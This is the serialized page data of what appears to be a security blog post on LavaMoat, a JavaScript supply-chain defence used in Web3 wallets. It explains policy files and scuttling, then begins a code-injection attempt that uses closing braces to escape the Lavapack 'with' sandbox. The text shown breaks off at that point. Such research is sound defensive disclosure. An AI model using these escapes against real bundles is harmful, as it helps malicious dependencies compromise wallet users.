[{"data":1,"prerenderedAt":165922},["ShallowReactive",2],{"blog-/blog/2024-06-10-supply-chain-attacks-a-new-era":3,"featured-blog-posts":3677},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"author":10,"image":13,"date":15,"isFeatured":16,"onBlogPage":16,"body":17,"_type":3671,"_id":3672,"_source":3673,"_file":3674,"_stem":3675,"_extension":3676},"/blog/2024-06-10-supply-chain-attacks-a-new-era","blog",false,"","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[11,12],"bruno","caue",{"src":14},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",true,{"type":18,"children":19,"toc":3650},"root",[20,29,53,58,65,70,111,117,137,156,161,167,172,186,530,559,572,577,582,596,601,614,628,881,903,939,945,950,955,1176,1197,1203,1216,1314,1336,1372,1381,1400,1665,1693,1699,1713,1917,1936,2358,2371,2377,2396,2489,2494,2500,2513,2526,2615,2621,2634,2721,2733,2746,2752,2757,2771,3100,3105,3110,3116,3142,3204,3224,3278,3284,3289,3308,3320,3521,3527,3550,3556,3561,3574,3579,3584,3590,3595,3605,3644],{"type":21,"tag":22,"props":23,"children":25},"element","h2",{"id":24},"overview",[26],{"type":27,"value":28},"text","Overview",{"type":21,"tag":30,"props":31,"children":32},"p",{},[33,42,44,51],{"type":21,"tag":34,"props":35,"children":39},"a",{"href":36,"rel":37},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[38],"nofollow",[40],{"type":27,"value":41},"Supply chain",{"type":27,"value":43}," attacks are becoming ",{"type":21,"tag":34,"props":45,"children":48},{"href":46,"rel":47},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[38],[49],{"type":27,"value":50},"increasingly popular in Web3",{"type":27,"value":52},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":21,"tag":30,"props":54,"children":55},{},[56],{"type":27,"value":57},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":21,"tag":59,"props":60,"children":62},"h3",{"id":61},"introduction",[63],{"type":27,"value":64},"Introduction",{"type":21,"tag":30,"props":66,"children":67},{},[68],{"type":27,"value":69},"It is important to note that there are three different versions of LavaMoat:",{"type":21,"tag":71,"props":72,"children":73},"ol",{},[74,87,99],{"type":21,"tag":75,"props":76,"children":77},"li",{},[78,85],{"type":21,"tag":34,"props":79,"children":82},{"href":80,"rel":81},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[38],[83],{"type":27,"value":84},"Lavamoat Browserify",{"type":27,"value":86}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":21,"tag":75,"props":88,"children":89},{},[90,97],{"type":21,"tag":34,"props":91,"children":94},{"href":92,"rel":93},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[38],[95],{"type":27,"value":96},"NodeJS Lavamoat",{"type":27,"value":98}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":21,"tag":75,"props":100,"children":101},{},[102,109],{"type":21,"tag":34,"props":103,"children":106},{"href":104,"rel":105},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[38],[107],{"type":27,"value":108},"Lavamoat allow-scripts",{"type":27,"value":110}," are used to prevent malicious code execution on lifecycle scripts.",{"type":21,"tag":59,"props":112,"children":114},{"id":113},"lavamoats-security-features",[115],{"type":27,"value":116},"Lavamoat's Security Features",{"type":21,"tag":30,"props":118,"children":119},{},[120,122,135],{"type":27,"value":121},"The three most important features of Lavamoat",{"type":21,"tag":123,"props":124,"children":125},"sup",{},[126],{"type":21,"tag":34,"props":127,"children":132},{"href":128,"ariaDescribedBy":129,"dataFootnoteRef":7,"id":131},"#user-content-fn-1",[130],"footnote-label","user-content-fnref-1",[133],{"type":27,"value":134},"1",{"type":27,"value":136}," are:",{"type":21,"tag":138,"props":139,"children":140},"ul",{},[141,146,151],{"type":21,"tag":75,"props":142,"children":143},{},[144],{"type":27,"value":145},"Policy Files",{"type":21,"tag":75,"props":147,"children":148},{},[149],{"type":27,"value":150},"NPM Anti Hijacking",{"type":21,"tag":75,"props":152,"children":153},{},[154],{"type":27,"value":155},"Scuttling",{"type":21,"tag":30,"props":157,"children":158},{},[159],{"type":27,"value":160},"Let's go over them one by one.",{"type":21,"tag":162,"props":163,"children":165},"h4",{"id":164},"policy-files",[166],{"type":27,"value":145},{"type":21,"tag":30,"props":168,"children":169},{},[170],{"type":27,"value":171},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":21,"tag":30,"props":173,"children":174},{},[175,177,184],{"type":27,"value":176},"For example, take the ",{"type":21,"tag":34,"props":178,"children":181},{"href":179,"rel":180},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[38],[182],{"type":27,"value":183},"Metamask Snap policy file",{"type":27,"value":185},":",{"type":21,"tag":187,"props":188,"children":192},"pre",{"className":189,"code":190,"language":191,"meta":7,"style":7},"language-js shiki shiki-themes slack-dark"," \"@metamask/providers\": {\n \"globals\": {\n \"Event\": true,\n \"addEventListener\": true,\n \"chrome.runtime.connect\": true,\n \"console\": true,\n \"dispatchEvent\": true,\n \"document.createElement\": true,\n \"document.readyState\": true,\n \"ethereum\": \"write\",\n \"location.hostname\": true,\n \"removeEventListener\": true,\n \"web3\": true\n },\n \"packages\": {\n \"@metamask/object-multiplex\": true,\n \"@metamask/providers>@metamask/safe-event-emitter\": true\n","js",[193],{"type":21,"tag":194,"props":195,"children":196},"code",{"__ignoreMap":7},[197,215,234,258,279,300,321,342,363,384,406,427,448,466,475,492,513],{"type":21,"tag":198,"props":199,"children":202},"span",{"class":200,"line":201},"line",1,[203,209],{"type":21,"tag":198,"props":204,"children":206},{"style":205},"--shiki-default:#CE9178",[207],{"type":27,"value":208}," \"@metamask/providers\"",{"type":21,"tag":198,"props":210,"children":212},{"style":211},"--shiki-default:#E6E6E6",[213],{"type":27,"value":214},": {\n",{"type":21,"tag":198,"props":216,"children":218},{"class":200,"line":217},2,[219,224,229],{"type":21,"tag":198,"props":220,"children":221},{"style":205},[222],{"type":27,"value":223}," \"globals\"",{"type":21,"tag":198,"props":225,"children":227},{"style":226},"--shiki-default:#9CDCFE",[228],{"type":27,"value":185},{"type":21,"tag":198,"props":230,"children":231},{"style":211},[232],{"type":27,"value":233}," {\n",{"type":21,"tag":198,"props":235,"children":237},{"class":200,"line":236},3,[238,243,247,253],{"type":21,"tag":198,"props":239,"children":240},{"style":205},[241],{"type":27,"value":242}," \"Event\"",{"type":21,"tag":198,"props":244,"children":245},{"style":226},[246],{"type":27,"value":185},{"type":21,"tag":198,"props":248,"children":250},{"style":249},"--shiki-default:#569CD6",[251],{"type":27,"value":252}," true",{"type":21,"tag":198,"props":254,"children":255},{"style":211},[256],{"type":27,"value":257},",\n",{"type":21,"tag":198,"props":259,"children":261},{"class":200,"line":260},4,[262,267,271,275],{"type":21,"tag":198,"props":263,"children":264},{"style":205},[265],{"type":27,"value":266}," \"addEventListener\"",{"type":21,"tag":198,"props":268,"children":269},{"style":226},[270],{"type":27,"value":185},{"type":21,"tag":198,"props":272,"children":273},{"style":249},[274],{"type":27,"value":252},{"type":21,"tag":198,"props":276,"children":277},{"style":211},[278],{"type":27,"value":257},{"type":21,"tag":198,"props":280,"children":282},{"class":200,"line":281},5,[283,288,292,296],{"type":21,"tag":198,"props":284,"children":285},{"style":205},[286],{"type":27,"value":287}," \"chrome.runtime.connect\"",{"type":21,"tag":198,"props":289,"children":290},{"style":226},[291],{"type":27,"value":185},{"type":21,"tag":198,"props":293,"children":294},{"style":249},[295],{"type":27,"value":252},{"type":21,"tag":198,"props":297,"children":298},{"style":211},[299],{"type":27,"value":257},{"type":21,"tag":198,"props":301,"children":303},{"class":200,"line":302},6,[304,309,313,317],{"type":21,"tag":198,"props":305,"children":306},{"style":205},[307],{"type":27,"value":308}," \"console\"",{"type":21,"tag":198,"props":310,"children":311},{"style":226},[312],{"type":27,"value":185},{"type":21,"tag":198,"props":314,"children":315},{"style":249},[316],{"type":27,"value":252},{"type":21,"tag":198,"props":318,"children":319},{"style":211},[320],{"type":27,"value":257},{"type":21,"tag":198,"props":322,"children":324},{"class":200,"line":323},7,[325,330,334,338],{"type":21,"tag":198,"props":326,"children":327},{"style":205},[328],{"type":27,"value":329}," \"dispatchEvent\"",{"type":21,"tag":198,"props":331,"children":332},{"style":226},[333],{"type":27,"value":185},{"type":21,"tag":198,"props":335,"children":336},{"style":249},[337],{"type":27,"value":252},{"type":21,"tag":198,"props":339,"children":340},{"style":211},[341],{"type":27,"value":257},{"type":21,"tag":198,"props":343,"children":345},{"class":200,"line":344},8,[346,351,355,359],{"type":21,"tag":198,"props":347,"children":348},{"style":205},[349],{"type":27,"value":350}," \"document.createElement\"",{"type":21,"tag":198,"props":352,"children":353},{"style":226},[354],{"type":27,"value":185},{"type":21,"tag":198,"props":356,"children":357},{"style":249},[358],{"type":27,"value":252},{"type":21,"tag":198,"props":360,"children":361},{"style":211},[362],{"type":27,"value":257},{"type":21,"tag":198,"props":364,"children":366},{"class":200,"line":365},9,[367,372,376,380],{"type":21,"tag":198,"props":368,"children":369},{"style":205},[370],{"type":27,"value":371}," \"document.readyState\"",{"type":21,"tag":198,"props":373,"children":374},{"style":226},[375],{"type":27,"value":185},{"type":21,"tag":198,"props":377,"children":378},{"style":249},[379],{"type":27,"value":252},{"type":21,"tag":198,"props":381,"children":382},{"style":211},[383],{"type":27,"value":257},{"type":21,"tag":198,"props":385,"children":387},{"class":200,"line":386},10,[388,393,397,402],{"type":21,"tag":198,"props":389,"children":390},{"style":205},[391],{"type":27,"value":392}," \"ethereum\"",{"type":21,"tag":198,"props":394,"children":395},{"style":226},[396],{"type":27,"value":185},{"type":21,"tag":198,"props":398,"children":399},{"style":205},[400],{"type":27,"value":401}," \"write\"",{"type":21,"tag":198,"props":403,"children":404},{"style":211},[405],{"type":27,"value":257},{"type":21,"tag":198,"props":407,"children":409},{"class":200,"line":408},11,[410,415,419,423],{"type":21,"tag":198,"props":411,"children":412},{"style":205},[413],{"type":27,"value":414}," \"location.hostname\"",{"type":21,"tag":198,"props":416,"children":417},{"style":226},[418],{"type":27,"value":185},{"type":21,"tag":198,"props":420,"children":421},{"style":249},[422],{"type":27,"value":252},{"type":21,"tag":198,"props":424,"children":425},{"style":211},[426],{"type":27,"value":257},{"type":21,"tag":198,"props":428,"children":430},{"class":200,"line":429},12,[431,436,440,444],{"type":21,"tag":198,"props":432,"children":433},{"style":205},[434],{"type":27,"value":435}," \"removeEventListener\"",{"type":21,"tag":198,"props":437,"children":438},{"style":226},[439],{"type":27,"value":185},{"type":21,"tag":198,"props":441,"children":442},{"style":249},[443],{"type":27,"value":252},{"type":21,"tag":198,"props":445,"children":446},{"style":211},[447],{"type":27,"value":257},{"type":21,"tag":198,"props":449,"children":451},{"class":200,"line":450},13,[452,457,461],{"type":21,"tag":198,"props":453,"children":454},{"style":205},[455],{"type":27,"value":456}," \"web3\"",{"type":21,"tag":198,"props":458,"children":459},{"style":226},[460],{"type":27,"value":185},{"type":21,"tag":198,"props":462,"children":463},{"style":249},[464],{"type":27,"value":465}," true\n",{"type":21,"tag":198,"props":467,"children":469},{"class":200,"line":468},14,[470],{"type":21,"tag":198,"props":471,"children":472},{"style":211},[473],{"type":27,"value":474}," },\n",{"type":21,"tag":198,"props":476,"children":478},{"class":200,"line":477},15,[479,484,488],{"type":21,"tag":198,"props":480,"children":481},{"style":205},[482],{"type":27,"value":483}," \"packages\"",{"type":21,"tag":198,"props":485,"children":486},{"style":226},[487],{"type":27,"value":185},{"type":21,"tag":198,"props":489,"children":490},{"style":211},[491],{"type":27,"value":233},{"type":21,"tag":198,"props":493,"children":495},{"class":200,"line":494},16,[496,501,505,509],{"type":21,"tag":198,"props":497,"children":498},{"style":205},[499],{"type":27,"value":500}," \"@metamask/object-multiplex\"",{"type":21,"tag":198,"props":502,"children":503},{"style":226},[504],{"type":27,"value":185},{"type":21,"tag":198,"props":506,"children":507},{"style":249},[508],{"type":27,"value":252},{"type":21,"tag":198,"props":510,"children":511},{"style":211},[512],{"type":27,"value":257},{"type":21,"tag":198,"props":514,"children":516},{"class":200,"line":515},17,[517,522,526],{"type":21,"tag":198,"props":518,"children":519},{"style":205},[520],{"type":27,"value":521}," \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":21,"tag":198,"props":523,"children":524},{"style":226},[525],{"type":27,"value":185},{"type":21,"tag":198,"props":527,"children":528},{"style":249},[529],{"type":27,"value":465},{"type":21,"tag":30,"props":531,"children":532},{},[533,535,541,543,549,551,557],{"type":27,"value":534},"The ",{"type":21,"tag":194,"props":536,"children":538},{"className":537},[],[539],{"type":27,"value":540},"globals",{"type":27,"value":542}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":21,"tag":194,"props":544,"children":546},{"className":545},[],[547],{"type":27,"value":548},"packages",{"type":27,"value":550}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":21,"tag":194,"props":552,"children":554},{"className":553},[],[555],{"type":27,"value":556},"@metamask/providers",{"type":27,"value":558}," interacts with other packages.",{"type":21,"tag":30,"props":560,"children":561},{},[562,564,570],{"type":27,"value":563},"To enforce these policies, LavaMoat uses ",{"type":21,"tag":194,"props":565,"children":567},{"className":566},[],[568],{"type":27,"value":569},"lavapack",{"type":27,"value":571},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":21,"tag":162,"props":573,"children":575},{"id":574},"npm-anti-hijacking",[576],{"type":27,"value":150},{"type":21,"tag":30,"props":578,"children":579},{},[580],{"type":27,"value":581},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted package.",{"type":21,"tag":30,"props":583,"children":584},{},[585,587,594],{"type":27,"value":586},"Instead, Lavamoat looks at how each package is connected by ",{"type":21,"tag":34,"props":588,"children":591},{"href":589,"rel":590},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[38],[592],{"type":27,"value":593},"walking the modules",{"type":27,"value":595}," in a project's dependency tree, thus generating a unique name for each package.",{"type":21,"tag":162,"props":597,"children":599},{"id":598},"scuttling",[600],{"type":27,"value":155},{"type":21,"tag":30,"props":602,"children":603},{},[604,606,612],{"type":27,"value":605},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real ",{"type":21,"tag":194,"props":607,"children":609},{"className":608},[],[610],{"type":27,"value":611},"GlobalThis",{"type":27,"value":613}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":21,"tag":30,"props":615,"children":616},{},[617,619,626],{"type":27,"value":618},"For example, ",{"type":21,"tag":34,"props":620,"children":623},{"href":621,"rel":622},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[38],[624],{"type":27,"value":625},"here",{"type":27,"value":627}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":21,"tag":187,"props":629,"children":631},{"className":189,"code":630,"language":191,"meta":7,"style":7}," if (scuttleOpts.enabled) {\n if (!Array.isArray(scuttleOpts.exceptions)) {\n throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n }\n scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n }\n",[632],{"type":21,"tag":194,"props":633,"children":634},{"__ignoreMap":7},[635,669,725,790,798,873],{"type":21,"tag":198,"props":636,"children":637},{"class":200,"line":201},[638,644,649,654,659,664],{"type":21,"tag":198,"props":639,"children":641},{"style":640},"--shiki-default:#C586C0",[642],{"type":27,"value":643}," if",{"type":21,"tag":198,"props":645,"children":646},{"style":211},[647],{"type":27,"value":648}," (",{"type":21,"tag":198,"props":650,"children":651},{"style":226},[652],{"type":27,"value":653},"scuttleOpts",{"type":21,"tag":198,"props":655,"children":656},{"style":211},[657],{"type":27,"value":658},".",{"type":21,"tag":198,"props":660,"children":661},{"style":226},[662],{"type":27,"value":663},"enabled",{"type":21,"tag":198,"props":665,"children":666},{"style":211},[667],{"type":27,"value":668},") {\n",{"type":21,"tag":198,"props":670,"children":671},{"class":200,"line":217},[672,677,681,687,692,696,702,707,711,715,720],{"type":21,"tag":198,"props":673,"children":674},{"style":640},[675],{"type":27,"value":676}," if",{"type":21,"tag":198,"props":678,"children":679},{"style":211},[680],{"type":27,"value":648},{"type":21,"tag":198,"props":682,"children":684},{"style":683},"--shiki-default:#D4D4D4",[685],{"type":27,"value":686},"!",{"type":21,"tag":198,"props":688,"children":689},{"style":226},[690],{"type":27,"value":691},"Array",{"type":21,"tag":198,"props":693,"children":694},{"style":211},[695],{"type":27,"value":658},{"type":21,"tag":198,"props":697,"children":699},{"style":698},"--shiki-default:#DCDCAA",[700],{"type":27,"value":701},"isArray",{"type":21,"tag":198,"props":703,"children":704},{"style":211},[705],{"type":27,"value":706},"(",{"type":21,"tag":198,"props":708,"children":709},{"style":226},[710],{"type":27,"value":653},{"type":21,"tag":198,"props":712,"children":713},{"style":211},[714],{"type":27,"value":658},{"type":21,"tag":198,"props":716,"children":717},{"style":226},[718],{"type":27,"value":719},"exceptions",{"type":21,"tag":198,"props":721,"children":722},{"style":211},[723],{"type":27,"value":724},")) {\n",{"type":21,"tag":198,"props":726,"children":727},{"class":200,"line":236},[728,733,738,743,747,752,757,762,767,771,775,780,785],{"type":21,"tag":198,"props":729,"children":730},{"style":640},[731],{"type":27,"value":732}," throw",{"type":21,"tag":198,"props":734,"children":735},{"style":249},[736],{"type":27,"value":737}," new",{"type":21,"tag":198,"props":739,"children":740},{"style":698},[741],{"type":27,"value":742}," Error",{"type":21,"tag":198,"props":744,"children":745},{"style":211},[746],{"type":27,"value":706},{"type":21,"tag":198,"props":748,"children":749},{"style":205},[750],{"type":27,"value":751},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":21,"tag":198,"props":753,"children":754},{"style":249},[755],{"type":27,"value":756},"${",{"type":21,"tag":198,"props":758,"children":759},{"style":249},[760],{"type":27,"value":761},"typeof",{"type":21,"tag":198,"props":763,"children":764},{"style":226},[765],{"type":27,"value":766}," scuttleOpts",{"type":21,"tag":198,"props":768,"children":769},{"style":683},[770],{"type":27,"value":658},{"type":21,"tag":198,"props":772,"children":773},{"style":226},[774],{"type":27,"value":719},{"type":21,"tag":198,"props":776,"children":777},{"style":249},[778],{"type":27,"value":779},"}",{"type":21,"tag":198,"props":781,"children":782},{"style":205},[783],{"type":27,"value":784},"\"`",{"type":21,"tag":198,"props":786,"children":787},{"style":211},[788],{"type":27,"value":789},")\n",{"type":21,"tag":198,"props":791,"children":792},{"class":200,"line":260},[793],{"type":21,"tag":198,"props":794,"children":795},{"style":211},[796],{"type":27,"value":797}," }\n",{"type":21,"tag":198,"props":799,"children":800},{"class":200,"line":281},[801,806,810,815,819,824,829,834,839,844,848,852,856,860,864,868],{"type":21,"tag":198,"props":802,"children":803},{"style":226},[804],{"type":27,"value":805}," scuttleOpts",{"type":21,"tag":198,"props":807,"children":808},{"style":211},[809],{"type":27,"value":658},{"type":21,"tag":198,"props":811,"children":812},{"style":698},[813],{"type":27,"value":814},"scuttlerFunc",{"type":21,"tag":198,"props":816,"children":817},{"style":211},[818],{"type":27,"value":706},{"type":21,"tag":198,"props":820,"children":821},{"style":226},[822],{"type":27,"value":823},"globalRef",{"type":21,"tag":198,"props":825,"children":826},{"style":211},[827],{"type":27,"value":828},", ",{"type":21,"tag":198,"props":830,"children":831},{"style":226},[832],{"type":27,"value":833},"realm",{"type":21,"tag":198,"props":835,"children":836},{"style":249},[837],{"type":27,"value":838}," =>",{"type":21,"tag":198,"props":840,"children":841},{"style":698},[842],{"type":27,"value":843}," performScuttleGlobalThis",{"type":21,"tag":198,"props":845,"children":846},{"style":211},[847],{"type":27,"value":706},{"type":21,"tag":198,"props":849,"children":850},{"style":226},[851],{"type":27,"value":833},{"type":21,"tag":198,"props":853,"children":854},{"style":211},[855],{"type":27,"value":828},{"type":21,"tag":198,"props":857,"children":858},{"style":226},[859],{"type":27,"value":653},{"type":21,"tag":198,"props":861,"children":862},{"style":211},[863],{"type":27,"value":658},{"type":21,"tag":198,"props":865,"children":866},{"style":226},[867],{"type":27,"value":719},{"type":21,"tag":198,"props":869,"children":870},{"style":211},[871],{"type":27,"value":872},"))\n",{"type":21,"tag":198,"props":874,"children":875},{"class":200,"line":302},[876],{"type":21,"tag":198,"props":877,"children":878},{"style":211},[879],{"type":27,"value":880}," }\n",{"type":21,"tag":30,"props":882,"children":883},{},[884,886,893,895,901],{"type":27,"value":885},"Subsequently, the code defines a ",{"type":21,"tag":34,"props":887,"children":890},{"href":888,"rel":889},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[38],[891],{"type":27,"value":892},"function",{"type":27,"value":894}," called ",{"type":21,"tag":194,"props":896,"children":898},{"className":897},[],[899],{"type":27,"value":900},"generateScuttleOpts",{"type":27,"value":902}," that creates and returns an options object.",{"type":21,"tag":30,"props":904,"children":905},{},[906,908,914,916,922,924,929,931,937],{"type":27,"value":907},"Finally, the ",{"type":21,"tag":194,"props":909,"children":911},{"className":910},[],[912],{"type":27,"value":913},"performScuttleGlobalThis",{"type":27,"value":915}," ",{"type":21,"tag":34,"props":917,"children":920},{"href":918,"rel":919},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[38],[921],{"type":27,"value":892},{"type":27,"value":923}," modifies the properties of the global object (",{"type":21,"tag":194,"props":925,"children":927},{"className":926},[],[928],{"type":27,"value":823},{"type":27,"value":930},"). It starts by creating an array ",{"type":21,"tag":194,"props":932,"children":934},{"className":933},[],[935],{"type":27,"value":936},"props",{"type":27,"value":938},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":21,"tag":22,"props":940,"children":942},{"id":941},"hacking-webpacks",[943],{"type":27,"value":944},"Hacking Webpacks",{"type":21,"tag":30,"props":946,"children":947},{},[948],{"type":27,"value":949},"Now let's get to the fun stuff.",{"type":21,"tag":30,"props":951,"children":952},{},[953],{"type":27,"value":954},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":21,"tag":187,"props":956,"children":958},{"className":189,"code":957,"language":191,"meta":7,"style":7}," const filename = encodeURI(String(moduleData.file))\n let moduleWrapperSource\n if (bundleWithPrecompiledModules) {\n moduleWrapperSource = `function(){\n with (this.scopeTerminator) {\n with (this.globalThis) {\n return function() {\n 'use strict';\n // source: ${filename}\n return function (require, module, exports) {\n __MODULE_CONTENT__\n };\n };\n }\n }\n }`\n",[959],{"type":21,"tag":194,"props":960,"children":961},{"__ignoreMap":7},[962,1016,1029,1050,1067,1075,1083,1091,1099,1121,1129,1137,1145,1153,1161,1168],{"type":21,"tag":198,"props":963,"children":964},{"class":200,"line":201},[965,970,975,980,985,989,994,998,1003,1007,1012],{"type":21,"tag":198,"props":966,"children":967},{"style":249},[968],{"type":27,"value":969}," const",{"type":21,"tag":198,"props":971,"children":972},{"style":226},[973],{"type":27,"value":974}," filename",{"type":21,"tag":198,"props":976,"children":977},{"style":683},[978],{"type":27,"value":979}," =",{"type":21,"tag":198,"props":981,"children":982},{"style":698},[983],{"type":27,"value":984}," encodeURI",{"type":21,"tag":198,"props":986,"children":987},{"style":211},[988],{"type":27,"value":706},{"type":21,"tag":198,"props":990,"children":991},{"style":698},[992],{"type":27,"value":993},"String",{"type":21,"tag":198,"props":995,"children":996},{"style":211},[997],{"type":27,"value":706},{"type":21,"tag":198,"props":999,"children":1000},{"style":226},[1001],{"type":27,"value":1002},"moduleData",{"type":21,"tag":198,"props":1004,"children":1005},{"style":211},[1006],{"type":27,"value":658},{"type":21,"tag":198,"props":1008,"children":1009},{"style":226},[1010],{"type":27,"value":1011},"file",{"type":21,"tag":198,"props":1013,"children":1014},{"style":211},[1015],{"type":27,"value":872},{"type":21,"tag":198,"props":1017,"children":1018},{"class":200,"line":217},[1019,1024],{"type":21,"tag":198,"props":1020,"children":1021},{"style":249},[1022],{"type":27,"value":1023}," let",{"type":21,"tag":198,"props":1025,"children":1026},{"style":226},[1027],{"type":27,"value":1028}," moduleWrapperSource\n",{"type":21,"tag":198,"props":1030,"children":1031},{"class":200,"line":236},[1032,1037,1041,1046],{"type":21,"tag":198,"props":1033,"children":1034},{"style":640},[1035],{"type":27,"value":1036}," if",{"type":21,"tag":198,"props":1038,"children":1039},{"style":211},[1040],{"type":27,"value":648},{"type":21,"tag":198,"props":1042,"children":1043},{"style":226},[1044],{"type":27,"value":1045},"bundleWithPrecompiledModules",{"type":21,"tag":198,"props":1047,"children":1048},{"style":211},[1049],{"type":27,"value":668},{"type":21,"tag":198,"props":1051,"children":1052},{"class":200,"line":260},[1053,1058,1062],{"type":21,"tag":198,"props":1054,"children":1055},{"style":226},[1056],{"type":27,"value":1057}," moduleWrapperSource",{"type":21,"tag":198,"props":1059,"children":1060},{"style":683},[1061],{"type":27,"value":979},{"type":21,"tag":198,"props":1063,"children":1064},{"style":205},[1065],{"type":27,"value":1066}," `function(){\n",{"type":21,"tag":198,"props":1068,"children":1069},{"class":200,"line":281},[1070],{"type":21,"tag":198,"props":1071,"children":1072},{"style":205},[1073],{"type":27,"value":1074}," with (this.scopeTerminator) {\n",{"type":21,"tag":198,"props":1076,"children":1077},{"class":200,"line":302},[1078],{"type":21,"tag":198,"props":1079,"children":1080},{"style":205},[1081],{"type":27,"value":1082}," with (this.globalThis) {\n",{"type":21,"tag":198,"props":1084,"children":1085},{"class":200,"line":323},[1086],{"type":21,"tag":198,"props":1087,"children":1088},{"style":205},[1089],{"type":27,"value":1090}," return function() {\n",{"type":21,"tag":198,"props":1092,"children":1093},{"class":200,"line":344},[1094],{"type":21,"tag":198,"props":1095,"children":1096},{"style":205},[1097],{"type":27,"value":1098}," 'use strict';\n",{"type":21,"tag":198,"props":1100,"children":1101},{"class":200,"line":365},[1102,1107,1111,1116],{"type":21,"tag":198,"props":1103,"children":1104},{"style":205},[1105],{"type":27,"value":1106}," // source: ",{"type":21,"tag":198,"props":1108,"children":1109},{"style":249},[1110],{"type":27,"value":756},{"type":21,"tag":198,"props":1112,"children":1113},{"style":226},[1114],{"type":27,"value":1115},"filename",{"type":21,"tag":198,"props":1117,"children":1118},{"style":249},[1119],{"type":27,"value":1120},"}\n",{"type":21,"tag":198,"props":1122,"children":1123},{"class":200,"line":386},[1124],{"type":21,"tag":198,"props":1125,"children":1126},{"style":205},[1127],{"type":27,"value":1128}," return function (require, module, exports) {\n",{"type":21,"tag":198,"props":1130,"children":1131},{"class":200,"line":408},[1132],{"type":21,"tag":198,"props":1133,"children":1134},{"style":205},[1135],{"type":27,"value":1136}," __MODULE_CONTENT__\n",{"type":21,"tag":198,"props":1138,"children":1139},{"class":200,"line":429},[1140],{"type":21,"tag":198,"props":1141,"children":1142},{"style":205},[1143],{"type":27,"value":1144}," };\n",{"type":21,"tag":198,"props":1146,"children":1147},{"class":200,"line":450},[1148],{"type":21,"tag":198,"props":1149,"children":1150},{"style":205},[1151],{"type":27,"value":1152}," };\n",{"type":21,"tag":198,"props":1154,"children":1155},{"class":200,"line":468},[1156],{"type":21,"tag":198,"props":1157,"children":1158},{"style":205},[1159],{"type":27,"value":1160}," }\n",{"type":21,"tag":198,"props":1162,"children":1163},{"class":200,"line":477},[1164],{"type":21,"tag":198,"props":1165,"children":1166},{"style":205},[1167],{"type":27,"value":797},{"type":21,"tag":198,"props":1169,"children":1170},{"class":200,"line":494},[1171],{"type":21,"tag":198,"props":1172,"children":1173},{"style":205},[1174],{"type":27,"value":1175}," }`\n",{"type":21,"tag":30,"props":1177,"children":1178},{},[1179,1181,1187,1189,1195],{"type":27,"value":1180},"Lavapack uses ",{"type":21,"tag":194,"props":1182,"children":1184},{"className":1183},[],[1185],{"type":27,"value":1186},"with()",{"type":27,"value":1188}," proxies to restrict the objects accessible by the module, and ",{"type":21,"tag":194,"props":1190,"children":1192},{"className":1191},[],[1193],{"type":27,"value":1194},"__MODULE_CONTENT__",{"type":27,"value":1196}," is replaced by the content of a file required by the project being built.",{"type":21,"tag":59,"props":1198,"children":1200},{"id":1199},"injection-not-so-simple",[1201],{"type":27,"value":1202},"Injection? Not So Simple",{"type":21,"tag":30,"props":1204,"children":1205},{},[1206,1208,1214],{"type":27,"value":1207},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":21,"tag":194,"props":1209,"children":1211},{"className":1210},[],[1212],{"type":27,"value":1213},"with",{"type":27,"value":1215}," environment:",{"type":21,"tag":187,"props":1217,"children":1219},{"className":189,"code":1218,"language":191,"meta":7,"style":7}," } // end function 1\n } // end function 2\n } // end with 1\n} // end with 